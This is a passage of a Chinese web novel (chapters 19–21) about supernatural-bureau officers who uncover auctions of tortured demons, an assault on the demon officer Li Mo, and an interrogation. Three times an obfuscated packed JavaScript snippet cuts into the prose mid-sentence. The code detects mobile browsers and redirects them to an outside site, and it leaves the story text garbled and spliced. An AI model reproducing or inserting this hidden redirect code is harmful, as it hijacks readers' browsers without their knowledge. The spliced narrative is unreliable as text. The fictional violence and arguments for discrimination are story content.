两排寒光闪闪的“刑具”露了出来。 “为了证明本拍卖会绝对真实,货品童叟无欺,凡本场拍卖中有任何一位贵宾购买了‘特殊服务’,其他贵宾均能得到本拍卖会赠予的‘品质保险’。”主持人以手抚胸:“当然,如果有人对此感到不适,可先行退出直播间。” 没有人退出,但办公室里已经是一片死寂。 主持人从旁边的工具箱里挑挑拣拣,挑出了一把锤子和一把铁锥,寒光闪闪,锋锐无双。 他把铁锥抵在了朏朏少年的胸口上。 周纬听见旁边何昭华倒抽了一口冷气。 “感谢各位贵宾的慷慨出价。”主持人手中重锤高扬,声音里带着机械音都压不住的笑意:“向各位致敬。” 他一锤子敲了下去。 19. 狭路 “啪”的一声,徐培风按下了暂停键,视频画面戛然而止:“这就够了。” 办公室里静得落针可闻。 半晌,何昭华的声音才结结巴巴地响起:“所以……所以,那个‘特殊服务’指的是……” “就是现场屠杀。”周纬冰冷道。 另外仨人一致转头盯着他。 周纬只觉得有一口气堵在胸间,憋得他心里发炸。他之前跟李默讨论灵器黑货的事,虽然也愤怒于有人居然能想出这样丧良心的手段牟利,但愤怒过后,倒也不是不能理解——毕竟为了求财杀人放火,古往今来屡见不鲜,大到战争贩子小到拦路抢劫,人类早就把能作的恶都作遍了,杀几个不是人的小妖又算什么。 但他万万没想到,这些人不光要杀死妖类取其肢体来炼制灵器,连他们的虐杀过程都要再拿来赚上一笔,那些妖类濒死的挣扎和惨叫,竟然成了买卖双方眼里大有利可图的“花活儿”! 而且看那些虚拟人像出价这么熟练,看起来偏好此道的还不在少数! 千百万年来,人类在“残忍”和“贪婪”二道上,真是从未穷尽过想象力。 周纬深吸一口气,大步向前,声音冷漠地向着徐培风:“一共有多少个?” 赵昌誉和何昭华愣愣地看着他,等反应过来他是什么意思,两人同时毛骨悚然。 徐培风深深地看了周纬一眼:“具体数量还没有统计,但U盘里这样的视频文件,一共有七十八个。” 七十八个…… 至少七十八个活生生的妖类,化作了几亿、几十亿的巨额财富,就这样悄无声息地消失在了深渊般的互联网、血腥的资本运作和城市浩渺天光之下。 何昭华狠狠一拳砸在桌面上:“这都是什么时候的事?!为什么我们一点儿察觉都没有?!” “因为这些并不是珑湖的妖类。”徐培风道:“或者说,不止是珑湖的妖类。” 徐培风总是一身灰色的行政夹克,一年到头一成不变,朴素得几乎有些过于低调,鼻梁上架着的那副眼镜让他看起来不像是个雷厉风行的监察员,更像个坐惯了办公室的文职干部。然而他一开口,所有人都不由自主地聚拢了目光。 “珑湖市的常住妖类,登记的未登记的加起来,我们掌握的总数不会超过五百。七十八个,接近六分之一的数量,如果全部都是珑湖的妖类,我们不可能发现不了。”徐培风沉声道:“所以更有可能,这些妖类是外地的,这些所谓的直播拍卖,也不一定就发生在珑湖。” 他神色冷峻:“换言之,这可能是一起,涉及全国的大案。” 所有人都倒抽一口凉气。 “可是这个加密U盘是从马宏昇那里得来的啊?”何昭华提出疑问:“他一个败家二世祖,怎么会和这种案子扯上关系?他根本连灵力者都不是!” 周纬这时候叹了口气,站了出来:“这事儿我可能有点思路。” 他三言两语把自己跟李默潜入夜市的事交代了,刚起了个头就差点被赵昌誉提溜着领子拎起来——赵昌誉和一身文职气息的徐培风不同,是个正儿八经的铁血军人作风,脾气爆得能把水系之耻的何昭华甩出二里地,一听周纬又干出了这种作天作地的混账事儿就忍不住提起拳头想揍他——被不动如山的徐培风按下了。 周纬对付这两位老领导已经很有心得,熟练地略去了自己跟李默共感相连、在夜市大打出手以及跟魏观烛暗通款曲的各种“细枝末节”,只简单交代了一下金老所说的灵器黑货事件,以及在夜市撞上了薛青青、擒住了李星路的事,然后直接跳转到了自己的结论:“我觉得马氏集团可能就是这起灵力黑货案的幕后操盘者。” 他有条不紊,娓娓道来:“李星路是灵力者,在马氏深耕近十年,作为律师对马氏旗下的各种产业、资源和渠道应该都深有研究。马氏早年涉足黑/道,后以物流业发家,黑白两道通吃,而制造灵器除了以妖类为原材料之外,也必然少不了场地、设备、资金、人工和其他耗材,这些通过马氏的渠道都可以弄到。我怀疑,李星路背后同样存在着一个组织,他们以虐杀妖类制售灵器来牟利,通过李星路牵线搭桥,与马氏达成了合作,双方各取所需,经营多年,这才制造了这桩大案。” 他这么一说完,何昭华和赵昌誉都是一脸恍然大悟的神色——爱丽舍杀人案、盘山公路和夜市两次袭击案,以及灵器黑货案,三起看起来风马牛不相及的案子,线索居然就这么串起来了, 然而徐培风却道:“不对,你忽略了一个问题。” 周纬一怔。 “马宏昇。”徐培风曲起指节,敲了敲桌子,道:“灵器黑货案不是一桩小案子,涉及到的资金动辄千万上亿。如果你是马氏集团掌舵人,会把这么重要的合作,交给马宏昇这么一个一事无成的败家二世祖吗?” 周纬立马反应了过来:“确实,这么说……” 徐培风一挥手打断他:“先不着急下结论。现在想得再多也只是推测,李星路已经交给医研中心救治了,用不了多久就会醒过来,到时候审一审他就知道。” 他站起身来:“今天这个会先开到这里,这个案子案情重大,不能不上报总部。周纬,你留下来,帮我想想这份报告该怎么写。” 赵昌誉和何昭华离开后,周纬顺手关上了办公室门,转身面对着徐培风。 他知道徐培风把他单独留下,肯定不是为了“写报告”这么扯淡的理由——周纬自己都从来都懒得做纸面工作,交给他写的材料不管什么内容,收上来都必定是一堆胡言乱语的废纸,属于纯纯的资源浪费。 这人蹦跶惯了,平常没形没款的,也只有在徐培风面前才会收敛一点儿,站在原处低眉顺目道:“徐局。” 徐培风瞥了他一眼:“知道我为什么让你留下来吗?” 周纬一脸乖巧:“不知道。” “放屁。”徐培风却毫不客气。面对周纬这个二十四小时不间断散德行的家伙,他好像也没那么端着了,直接来了句粗口:“你那个脑子正事不想,整天里全是些不着边的弯弯绕绕,你还有点谱没有了?” 周纬只是冲着他咧嘴笑。 “……行吧。”徐培风无可奈何地叹了口气:“既然你跟我装傻充愣,我也就不拐弯抹角了。” 他正色下来,脸颊两侧两道法令纹一绷,看得周纬也忍不住心里一紧。 “小周,你很聪明,脑子也机灵,我相信你大事上不会犯糊涂。”徐培风开口,先惯例委婉了两句,随即话锋一转:“但有的时候人的感情是不受理智控制的,为了以防万一,我要提醒你一句。” 他的脸色严肃下来,金属镜框反射出了一丝冰冷的光泽。 “你最近跟那个妖类李默,是不是走得有点太近了?” 此时此刻,李默正在走去食堂的路上。 周纬一回来就被何昭华揪着领子抓走了,看样子是要去开会,被抓之前只来得及扔下一句尾音飘渺的“你等我回来啊~~”就消失了踪影,听起来很像某个知名动漫人物的退场台词。 李默:“……” 在哪儿等?他的审讯室吗? 他望着何昭华和周纬风风火火消失的背影,突然失笑,感觉周纬跟他这一帮监察员兄弟之间,感情真的挺好的。 这两天他虽然被困在审讯室里,但耳聪目明,市局大楼里大半的事都逃不过他的耳朵。他听得到不管那个楼层里,都有监察员们在插科打诨、聊天调笑的声音,哪怕就算在忙碌工作,倒也不是愁眉苦脸、怨念满身的。同事之间氛围轻松和谐,甚至有点没大没小的意思,想来是周纬这个当领导的“以身作则”,上梁不正的缘故。 他站在市局大院里,回想了一下自己在异监局总部六年所见到的勾心斗角、乌烟瘴气,又对比了这几天在珑湖市局的所见所闻,忽然觉得天光明媚,疏朗萧阔,似乎连珑湖市高天上飘荡的白云,都比雍京的好看些。 这样想着,他兀自一笑,举步朝底下一楼的食堂走去。 李默虽然是个妖类,但在某些方面却颇受人类教条礼仪的荼毒。如今审讯室基本可以算他的“私人办公室”,既然周纬叫他等,那他就断没有空手等着的道理,必然是要准备点茶水小食“待客”的。 只是在市局,茶水点心之类的肯定无处去寻。刚好他们俩人奔波一路,错过了午饭饭点,等周纬开完会回来,恐怕晚饭时间也不远了。李默见他在回市局的路上就时不时以手抚胃,想来是饿了,于是准备先去食堂打包两份晚饭,等他回来一起吃。 这点事就不好麻烦洛小莉了。李默于是循着气味,自己找到了食堂。 由于距离晚饭时间还有一阵子,饭菜还没熟。李默于是稍稍等了一会儿,等到新鲜晚饭出锅,这才打包了两份,用塑料袋盛了,准备拎回自己的审讯室去。 他一手一个塑料袋,推开了食堂的门,却没想到刚开门,就跟一个意想不到的人迎头打了个照面。 “你?”只见四五个监察员正簇拥在食堂外的走廊里,当中一位身穿作战服,一头板寸,满脸彪悍飒爽,抬手看起来也是要推门。没想到门突然从里面被推开了,两人狭路相逢,彼此都是愕然一愣。 紧接着,那人认出了李默,脸色立马变了:“你在这儿干什么?” 他这一开口,李默立马想起了他的声音——之前他刚来异监局的时候,在监察大厅里喧闹抗议的人里,声音最大的就是这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091611|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。 行动一组的组长,燕鹏飞。 燕鹏飞也是四年前那起案子的幸存者,对妖类的偏见根深蒂固,周纬之前一直不让李默出现在异监局众人的视线里,主要就是为了避免跟这群人接触。没想到今天他不在,却刚好让火星撞上了火药桶。 前几天李默一直待在审讯室里,燕鹏飞见不到他,也就不好发作,眼不见心不烦地压下了这口气。没想到今天李默竟然擅自“越界”,出现在了食堂里,还让他给抓了个正着,当即横眉怒目道:“你在这里干什么?谁他妈让你下来的?!” 李默:“……” 他觉得自己今天好像有点儿走背字。 好在李默生性平和,自知不招这伙人待见,也不想多生事端,于是好脾气地忽略了燕鹏飞那句充满火药味儿的话,简短地朝他一点头,算是打了个招呼,然后侧身便想让过他。 奈何他想走,有人却不想让他走。燕鹏飞身后立马有两个监察员横跨一步,拦住了他的去路;与此同时燕鹏飞在他身后怒声喝道:“站住!我在问你话,谁他妈让你走了?” 李默轻轻一蹙眉。 这是要挑衅吗? 但他毕竟沉稳惯了,哪怕到了这个时候,他也依然不想发生冲突,于是耐着性子回头,解释了一句:“我来给周队带晚饭。” “放屁。”燕鹏飞嗤之以鼻:“周队会跟你这种人……这种畜生,一起吃饭?” 李默:“……”他还真会,要不待会儿我们吃饭的时候,你在旁边看着? “之前周队拦着,估计也没人当面跟你说清楚。”燕鹏飞在他身后,面色阴翳:“也好,今天被我碰上了,正好是个机会。” 他上前一步,阴森道:“识相的,趁早滚出珑湖市局,懂么?这里没有你的位置。” 李默转身回头,面无表情地看着他。 燕鹏飞已经算是体型结实壮硕的了,满身肌肉贲张,几乎要膨出作战服,然而李默却比他还要高出一线。很少有人在被李默居高临下地看着的时候能不心生惧意,然而燕鹏飞却毫无惧色,不仅不退,反而逼上一步,面色一时甚至有些狰狞。 “不要以为你戴上灵枷,就配得起’监察员’这三个字了……”他咬牙切齿道,“不管你自以为自己是什么,都不可能是监察员,懂吗?” “如果你不认可我的监察员资质,”李默突然开了口,语调心平气和毫无异常:“可以向总部写信投诉,请求予以调查和撤销。在这里堵着我是没有用的,燕组长。” 说罢,他不再言语,就像懒得再跟他计较似的,转身就走。 燕鹏飞倏然一愣,随即勃然大怒:“混账!” 他猛地出手,五指成爪就朝李默的肩膀抓来,显然是想将他当场扣下。李默两手都还提着饭盒,根本倒不出手来招架,然而他头都没回,后背却像是长了眼睛似的,只是稍微一错步,让过了那只携着厉风的手爪,随即沉肩轻轻一撞。 A级妖类的身体素质在那儿放着,哪怕刻意收敛了力道,也绝不是燕鹏飞一个人类也能承受得住的。只见他刹那间宛如被大石迎面砸中,“噔噔噔”倒退出去三步远,好不容易才稳住身形,抬头大怒道:“你!” "燕组长!" “燕哥!” 燕鹏飞带来的那几个人眼看着组长落入下风,立马将李默围了起来,其中一个人去扶燕鹏飞,却被他一把甩开。只见燕鹏飞大步流星的走过来,袖中寒光一闪。 周围的人全都愕然一惊:“燕哥?!” 李默一见燕鹏飞居然敢动兵刃,眉头也是一皱:“燕组长,这里可是异监局。” 燕鹏飞怒气上涌,双目尽赤:“老子他妈杀一个妖类贱种,还要挑地方吗?!” 李默眼神一冷:“那你可以试试。” 燕鹏飞袖中骤然滑出一把漆黑短刃,寒光凛冽削铁如泥,直指李默前胸。 “燕哥!”周围的监察员显然没想到事情竟然会发展到这一步,刹那间都慌了,立马想上前拉人。然而还不待他们有所动作,却听见耳畔骤然传来一阵炸雷般的怒吼:“燕鹏飞!” 众人霎时下意识的就是一哆嗦。 燕鹏飞眼前一花,根本没看清楚是怎么回事,只觉得自己手腕一麻,那短刃脱手而出,紧接着“噌”的一声,擦着他的耳朵插进了墙里,兀然发出一阵金铁嗡鸣! 宛如一阵厉风刮过,周纬骤然现身,直接强行插入了他和李默之间,上来就夺下了他的兵刃。见他右手握着短刃,右臂横轴压在他喉间,整个人将他直接牢牢锁死在了墙上。隔着咫尺之距,周纬漆黑的瞳孔里是压抑不住的雷霆暴怒。 “燕鹏飞,你他妈是要造反吗?!” 20. 决心 从来没有人见过周纬发这么大的火,一时间所有人都愣住了,狭窄的走廊上一片死寂。 燕鹏飞被周纬死死压在墙上,脖颈和额角青筋暴跳,咬着牙道:“周队,我不明白为什么要……” 周纬:“闭嘴!” 他的身材不如燕鹏飞高大,几乎是用了全身的力气把他顶在了墙上,手臂上的肌肉炸起了凶暴的线条。 他的胸膛剧烈起伏着,狠狠闭了闭眼,似乎用了全部的自制力才松开了那柄短刃,随即缓缓地直起身来。 周纬又深又重地喘了两口气,睁开眼,转向李默:“对不起,今天的事,我代他向你道歉……” 燕鹏飞怒吼道:“我凭什么向他道——” “啪!” 周纬骤然转身,一巴掌扇在了燕鹏飞脸上! 所有人倒抽一口冷气,连李默的眼睛都蓦然瞪大了。 这一下真是下了死力气。周纬丝毫没有留手,转身的惯性和整个身子的力气像是都集中在了这一巴掌上,燕鹏飞被他这一掌打得整个人都向一侧弯下腰去,半边脸颊登时就红肿了起来。 他就这样保持着俯身向下的姿势,整个人久久没有动作,似乎直接被这一巴掌打懵了。 “目无法纪,擅动刀兵……”周纬整个人都在发抖,红着眼睛吼道:“秦队就是这么教你的吗?!” 燕鹏飞的双眼倏然瞪大了。 “滚!滚回去给我禁闭二十四小时!行动一组全体人员暂停一切外勤任务,全部去给我巡逻轮值三天!”周纬怒吼道:“再有下次,你们全都他妈给我脱队服!” 燕鹏飞浑身一震,终于不敢再开口顶撞,他捂着自己红肿的半边脸颊直起身来,面色复杂地看了周纬一眼,匆匆转身离开了。 其他人也赶忙跟着退走了,走廊上眨眼间就剩下了周纬和李默两人。 李默低声道:“周队……” 周纬急促的呼吸仍未平复,他暗自狠狠握了握拳,咬着牙转过身来:“李默,对不……” “周队。”李默却忽然打断了他:“你气息不稳,先不要说话。冷静一下。” 周纬忽然一愣。 李默不知何时已经把手里的盒饭放下了。他一手按住周纬脉门,一手轻轻抵在他的后心,掌心温暖而坚实有力,热量顺着透薄的衬衫传递过来,他声音沉静:“周队,屏息凝神。” 周纬面色复杂地看了他一眼,随即依言闭上了眼睛,凝神平静内腑灵脉,良久才缓缓长出一口气。 那股奔涌的怒气散去了,血管里躁动的血流缓缓平复下来。 周纬这才睁开眼,对着李默勉强一笑。 李默却没有接下他这个安抚的表情,他低头细细看了看周纬的神情,突然道:“周队,那个U盘里面有什么?” 周纬的手指微不可察地一抽。 “你刚才发怒不仅仅是因为燕鹏飞,你在来之前就已经很生气了,对么?”李默皱眉道:“发生了什么事?” 李默的手还扣在他的脉门上,近在咫尺,他们俩一上一下,四目相对,周纬刚好能看到他的衣领里下,若隐若现的灵枷的轮廓。 他的眼睛顿时像被针刺了一下似的,下意识地移开了目光。 “……没什么,”那只躺在石台上被开膛破肚、打回原形的朏朏在他的视网膜上挥之不去,周纬偏了偏头,声音艰涩道:“就是一些……李星路他们黑恶勾当的……证据而已。” 李默立刻意识到,周纬说的不是实话。 然而他却并没有再追问,只是低头仔细打量了一下周纬的神情,随即便点了点头,道:“好。” 他手掌一松,放开了周纬的手腕。 这一松手,周纬立马觉得一阵酸涩愧疚之情直冲心头。他简直不知该拿出什么表情来面对李默,刹那间只恨不得自己立地消失。 然而有些事情是躲不过去的。周纬沉默良久,终于深吸口气,强行压下了起伏翻涌的情绪,抬起头来,脸上露出一丝分外勉强的苦笑:“李默,刚才老燕的事,你别怪他,我替他向你道歉。” “不必。”李默平静道:“这不是周队你的错。” “不,你不懂……”周纬说道这里,突然顿了一下,最终还是咬咬牙,开了口:“老燕他,是秦队带出来的……就是我的上一任监察队长。” 李默用平和的目光看着他,不置可否地点了点头。 周纬心头不安。他不知道李默是不是看穿了自己故意转移话题的心思,然而话头已起,现在也只能硬着头皮说下去了。 “四年前,珑湖发生了一起案子,整个外勤干员大换血,我是在那之后才接手的监察队。”周纬定了定神,道:“在那之前,我们整个队伍都是秦队一手带起来的,老燕也是,我也是。” 李默沉默片刻,道:“秦队他……是殉职了吗?” “没有,”周纬苦笑一声:“他傻了。” 李默:“……” “那起案子之后,他昏迷了半年,醒来之后就什么都不记得了,跟个小孩儿一样,一米八汉子跪在床上,抓着他的女儿说姐姐姐姐我要糖吃。”周纬顿了一下:“他女儿才六岁。” 李默心里轻轻一跳,眸光也黯淡下来。 时光的力量是无穷的,痛苦也许会被遗忘,伤疤也总有愈合褪色的那一天。 可如果你最亲近的人变得痴愚呆傻,你眼中的他还是当初风华正茂、爽朗潇洒的样子,那些并肩同行、性命相托的日子还历历在目,他却已经连你是谁都已认不得。 那样一道活生生的伤痕立在你面前,你还能走出来吗? 当你日服一日地面对着他鲜活而赤裸的痛苦,你还能如此轻易地原谅和遗忘吗?还能如此轻松地摆脱过去,奔向未来吗? 许多人都说,死者是亲友心中,一道永不磨灭的伤疤。 ……有的时候,活人也是。 李默也忍不住轻轻地叹了口气。 “秦队是老燕的救命恩人。当时老燕卷入了一桩妖类绑架案,被秦队救了下来,一查才知道他是觉醒了灵力,才被妖类盯上的。”周纬轻声道:“后来老燕就一直以秦队为榜样,从领袖学院毕业后就追着秦队加入了珑湖市局。秦队受伤以后,老燕每周都会去看他,拿自己的工资供他住最好的疗养院。出事前老燕在谈着一个女朋友,后来分了,说是不愿意拖累人家,他要养嫂子和侄女一辈子。” “我说这些不是要为他开脱。”说到这里,周纬抬头,面色复杂地看了李默一眼:“我只是想告诉你,珑湖市局现在这种情况,是事出有因……因为当年导致那起事件的,就是一只A级妖类。” “当然,这里面也有我的责任。”周纬重重地叹了口气:“放心吧,这个问题我会解决,以后这样的情况绝对不会再发生了。我不会让这种积年累月的陈旧情绪,影响到你以后在市局的正常工作。” 李默不声不响地看了他一会儿,忽然道:“周队,你不必将这件事的责任全都揽到自己身上。” 这句话可是万万没想到,周纬倏而一愣:“什么?” “我是说,这件事不是你的责任。”李默心平气和地道:“每个人都有七情六欲,都有无法触碰的逆鳞,一时怒气上涌有所迁怒再正常不过。周队不必把将所有人的情绪都背负到自己一个人身上,这不管是对你还是对其他人,都太过格苛责了。” “而且,刚刚周队不是替我出过头了么?”他忽然低头,微微一笑:“这是我在别的地方从来没有受到过的待遇,周队,我很感激。” 周纬呆呆愣愣地看着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“这一趟八成是躲不过去的,但你放心,怎么对付总部那些人的勾心斗角,我比你们熟。”徐培风安慰似的笑笑,随即又立刻严肃下来:“但是我希望,在我不在的这段时间,珑湖市局要以稳为主,不要在你们身边留下任何可能的隐患。” 周纬明白了他的意思,声音艰涩道:“您的意思是……” “既然你已经跟这个李默走得这么近了,那也是个机会。”徐培风拍了拍他的肩膀:“找到他的破绽,把他送回总部去。” 周纬:“……” 哪怕是现在回忆起来,周纬心里还是跟像刚听到时一样,心头骤然涌上一股强烈的暴躁和不情愿。 哪怕他知道徐培风是在站在大局的立场上,为整个珑湖市局考量—— 可是李默又做错了什么呢? 他又凭什么遭受到这种对待呢? ……被歧视,被排挤,被打压,遭受无端的揣测和怀疑,甚至在没有任何真凭实据的情况下,只因他的身份和来历,就要像个不招人待见的物件一样被踢来踢去? 这他妈跟那些把妖类绑在石台上肢解的人相比,又好到哪里去了? 好在他们手上没有拿着刀吗? 周纬心头思绪翻涌。刹那间,他做了一个决定。 李默之间周纬脸上表情几度变换,随即,他像是下定了什么决心似的,忽然抬起头来,眸光亮得惊人。 “我们不说这些了。”他一把抓起李默的手:“走,有件事,你跟我一起来。” 李默一愣:“等等,我给你打了饭……” 周纬一顿,这才注意到李默手边的那两份饭盒。 不知为何,这两个饭盒像是突然戳中了他的笑点似的,周纬盯着它们看了几秒,忽然下意识地笑了。 “好了,先放食堂保温柜里吧,回来再吃,这件事比较要紧。”周纬拍了拍他的手,道:“李星路醒了,走,我们一起去审审他。” 21. 非我族类 听了这话,李默脚步一顿:“审讯李星路,要让我参加?” 周纬一愣,也刹住脚步,回头望着他:“你不想参加吗?” 李默:“……” 他当然想,他只是没想“过”——没想过居然真的有人会把他纳入到审讯破案的队伍里。 实际上,连李默自己都没有意识到,在总部被排挤和忽视了这么多年,他自己也是跟这些人类监察员们有心理隔阂的。简单来说就是他自己也不曾真正把自己代入到“监察员”这个位置上,总觉得自己是个边缘人,每次有什么重要任务或活动,都非常自觉地缩起来,默不作声地在一旁装鹌鹑。 因为久已习惯被无视,所以骤然有一个人重视自己的意见,几乎让李默无措起来。 与此同时,一个念头兀然传入他的脑海,李默心想:“是因为我在夜市里吼了他吗?” 是因为当时他态度恶劣,周纬才认为需要让他参与审讯,以此作为安抚吗? 说起来,当时被薛青青的出现突然打断,周纬到底有没有听见自己那句道歉? 这么一想,李默立马自责地心都要皱成一团了,赶紧拉住周纬道:“周队,你等等。” “嗯?”周纬疑惑地看着他。 “周队,我要向你道歉。”李默深吸了一口气,感觉自己在夜市面对魏观烛时都没这么紧张过:“我在夜市的时候对你疾言厉色,是我没能控制好情绪,无端迁怒于你,真的非常失态。请你不要因为这个就觉得必须让我参与审讯,我相信你绝对可以侦破这些案件,不需要我目睹什么以作证明。” “哈?”没想到周纬一脸茫然:“你对我疾言厉色?什么时候?” 李默:“……” 什么情况?这才半天不到,不至于这么快就忘了吧? 他原地踌躇半晌,小心翼翼地提醒道:“那个,‘血誓’……” “啊?”没想到周纬更懵逼了:“你说了血誓吗?” 李默:“……” 他突然想起来了,当时在识海里,他朝着周纬吼出那一声“你也要对我立‘血誓’么?”之后,紧接着周纬就愣住了。 当时他以为周纬是被自己突如其来的暴躁给吓住了,但现在看来,周纬那个时候就已经发现了薛青青的踪迹,心思全在外界,愣住是因为太过出乎意料了! 难怪他不生气,敢情他根本没听见! 李默顿时更纠结了。一方面,他不由自主地为周纬没有听到这句失控的怒吼而松了一口气;而另一方面,他又为这种庆幸心理而感到十分羞愧可耻——怎么能因为对方没听见,就当自己粗鲁冒犯的言论不存在呢? 周纬却没工夫管他这满腹纠结,他是真的急着去审讯李星路,于是半拖半拽地把李默拉出了市局大楼,来到了异监局大院后面的一幢四层小楼——医研中心。 “医研中心”全称“超自然生物医学与生物学研究中心”,是市局配套下属单位,兼具医学研究、痕迹检验、停尸验尸和小型医院等功能,监察员们出外勤时配备的医疗车就由医研中心管理。李星路被带回来后就直接扔到了这里,经医研中心几位研究员妙手回春,这会儿就已经醒了。 只是这位金牌律师现在看起来状态实在不怎么样。 任谁被雷劈了个焦糊之后模样都不会太好看。因为有灵器保护,李星路的身体没受太大损伤,只是全身毛发都被烧焦了,医护人员给他浑身上下剃了个干净,身上涂满了防烧伤的特质凝胶,从头到尾用绷带裹了起来,只在嘴上开了个口子方便说话,将他活生生变成了个秃头的大号木乃伊。 只是李星路不愧是专业律师,变成这样也没有被影响心态。周纬和李默推门而入的时候,发现这人不知从哪儿弄了个平板电脑,竟然半倚半靠在床头,一只手输着液,另一只手竟然还在处理工作。 “呦,李大律师,看样子恢复得不错啊。”周纬上来就给他比了个大拇指,佩服道:“热爱工作,身残志坚,吾辈楷模。” 李星路放下平板,皮笑肉不笑道:“托周队的福。” 这俩人一个知道对方就是虐杀妖类的黑手之一,一个知道对方一记天雷把自己劈了个半身不遂,如今狭路相逢,目光一撞直冒火星子。 说起来,跟随马诚出席新闻发布会的时候,李星路还是西装革履人模狗样的,如今成了个光头卤蛋,那一身绷带也没能遮掩弹他的精英气质,一双金丝眼睛一戴,还是个衣冠禽兽:“我刚一醒,周队就迫不及待地过来了,该不会是知道我没死,赶来杀人灭口的吧?” "看看这张嘴,不愧是金牌律师,颠倒黑白的能力实在让人叹为观止。"周纬虚情假意地拍了两下手,随即毫不见外地拖了把椅子坐下:“灭口倒不必,你现在这张口可金贵得很,灭了你的口,我们上哪儿挖线索去呢?” 李星路冷笑一声:“莫名其妙。” 周纬也跟着冷笑:“装傻充愣。” 两人眼神继续对撞,继续冒火星子。 “说起来,我会是如今这副模样,也要拜周队所赐。所以——”李星路突然话锋一转:“关于我无故在夜市受到珑湖市异监局监察执法队长周纬攻击,人身生命安全严重伤害一事,我会向贵局提出强烈抗议,并提交书面材料,质疑贵局办案流程不合规和不正当使用武力。”他点了点手上的平板,挑衅地挑起嘴角:“——已经在准备中了。” 周纬:“……” 李默:“……” 这家伙还在这儿装起受害人来了! 然而论起耍嘴皮子的功夫,周纬这辈子还没怕过谁,当即二郎腿一搭,皮笑肉不笑道:“哦?这么说,李律不明白自己为什么会躺在这里吗?” “当然不明白。”李星路反问道:“我倒想知道,周队为什么在夜市突然袭击我?说起来监察员根本就不能进入夜市吧?您这样也算是合法合规办案吗?” “‘不能进入夜市’这一条,不管是《监察员手册》还是夜市中,都没有明文规定。”周纬老神在在地道:“当然为什么突然袭击你——难道不是你先出手的吗?” “您是说在夜市的那一箭吗?”李星路一副不明所以的模样,道:“就算我违反了夜市不能动武的规定,应该是夜市的人来惩罚我,又关你们异监局什么事呢?异监局在夜市不是没有执法权吗?” “虽然异监局在夜市没有执法权,但你袭击的是我们一个案件的重要证人,”周纬寸步不让:“我倒想问问李律,你为什么要袭击她?” 这两人唇枪舌剑,打嘴仗的功夫几乎平分秋色,然而听了这个问题,李星路却缓缓咧开了嘴角。 “为什么,重要吗?”他轻蔑一笑:“在夜市这种法外之地,杀一个没登记没备案没上过户口的小妖,还需要什么理由吗?” 李默搭在周纬椅背上的手猛然绷紧了。 也许是这个细微的动作吸引了李星路的注意力,他突然看向李默,皱了皱鼻子:“难怪从刚刚开始就我就感觉有一股难闻的味道,周队,别人来探病都带礼物,您怎么能带畜生进病房呢?” 周纬的脸色冷了下来:“李默也是我局在职监察员。” “啊……我倒是不知道异监局还允许养宠物。”李星路点了点头:“难怪周队的作风这么自由散漫,原来是整个异监局沆瀣一气的缘故。” 病房内的温度像是直接下降到了冰点,周纬的眼神冷得吓人。 “咱们有话直说吧,周队。”李星路终于达到了挑衅的目的,傲慢地笑了。 他图穷匕见道:“我们都知道,未经登记备案的妖类不受《监察法》保护。别说是在夜市这种法外之地,就算是在正常人类社会里,我想杀几个没上过户口的妖类又怎么样呢?既不违反法律法规又不违背公序良俗,杀完之后甚至连点灰都不会剩下,比焚烧垃圾还无污染无公害——我就算杀出一个万人坑来又如何?” “毕竟,法无禁止即可为,这是国家法律对我自由行使私权利的保护。”李星路傲然道:“至于那些没名没姓的人形畜生嘛……” 他冷笑一声:“不是人的东西,还妄想追求人权吗?” 周纬面色不变,心却狠狠往下一沉。 李星路说中了他们最担心的事。 之前在徐培风办公室里讨论的时候,他们就曾提出过这个问题——如果这些遭遇虐杀被制成灵器的妖类,都是没有经过登记备案的“黑户”怎么办? 关于对超自然生物的监查管理,国家曾经专门出台过一部法案,叫做《异常生物与现象监察管理法》,是异监局立足之基,也是众多监察员们监察执法的根本依据。然而这部法案问世时间不长,中间经过数次修订,目前仍存在着许多边界不清的模糊地带。 其中有一条,就是关于妖类的权益保护问题——这些超自然生物,究竟应不应该跟人类享有同等人权? 每次立法委讨论修订法条的时候,这一条总会引起巨大争议,但几乎每一次争论都以同样的结论收尾——绝大部分人认为,妖类不应该和人类享有同等人权,哪怕他们的外表与人类无异,也是拥有正常思维能力的智慧生物,但毕竟非我族类,还是要加以区别。 用总部某些人的话来说就是:“人类自己还没实现完全平权呢,操心那些非人种族做什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091613|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当然,为了展现人类的包容、善意和人道主义精神,异监局也没有彻底把妖类排除在外。《监察法》规定,只要经过登记备案,上了“户口”的妖类,就可以享受跟人类一样的基本人权。 对此,总部的解释是,但凡经过登记备案的妖类,等同于承认以人类为世界主体种族构建起来的社会秩序的权威性,愿意遵从并维护这种秩序,把自己纳入人类社会之中,遵纪守法,不生事端。对于这这样的妖类,人类社会也应该展现自己的慷慨和包容性,将他们纳入自己保护和管理之下。 ——说白了,就是以自己的“投诚”和臣服,换取一张人类社会的“良民证”。 至于那些不愿投诚和臣服的呢? 那自然就属于“非我族类”的行列了。 既然非我族类,又有什么保护的必要呢? 